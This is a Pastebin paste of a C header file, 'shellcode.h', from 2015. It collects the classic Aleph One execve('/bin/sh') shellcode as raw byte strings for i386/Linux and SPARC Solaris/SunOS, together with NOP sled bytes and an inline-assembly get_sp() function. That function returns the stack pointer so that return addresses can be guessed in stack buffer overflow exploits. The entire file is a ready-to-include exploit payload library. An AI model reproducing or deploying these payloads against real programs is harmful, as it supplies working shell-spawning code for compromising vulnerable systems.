Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*==================================================================================================
- --------------------------------------------------------------------------------------------------
- [shellcode.h]
- The AlephOne shellcode for different operating systems/architectures.
- (c) Damion 'Phr0z3n.dev' Tapper, 2015.
- Email: [email protected]
- Website: http://L337Stuff.Blogspot.com
- --------------------------------------------------------------------------------------------------
- ==================================================================================================*/
- #ifndef SHELLCODE_H
- #define SHELLCODE_H
- /**
- * i386/Linux SHELLCODE:
- */
- #if defined(__i386__) && defined(__linux__)
- #define NOP_SIZE 1
- char nop[] = "\x90";
- char shellCode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- unsigned long get_sp(void) {
- __asm__("movl %esp,%eax");
- }
- /**
- * SPARC/Solaris SHELLCODE:
- */
- #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
- #define NOP_SIZE 4
- char nop[] = "\xac\x15\xa1\x6e";
- char shellCode[] =
- "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
- "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
- "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
- "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
- unsigned long get_sp(void) {
- __asm__("or %sp, %sp, %i0");
- }
- /**
- * SPARC/SunOS SHELLCODE:
- */
- #elif defined(__sparc__) && defined(__sun__)
- #define NOP_SIZE 4
- char nop[] = "\xac\x15\xa1\x6e";
- char shellCode[] =
- "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
- "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
- "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
- "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
- unsigned long get_sp(void) {
- __asm__("or %sp, %sp, %i0");
- }
- #endif
- #endif // SHELLCODE_H
Advertisement
Add Comment
Please, Sign In to add comment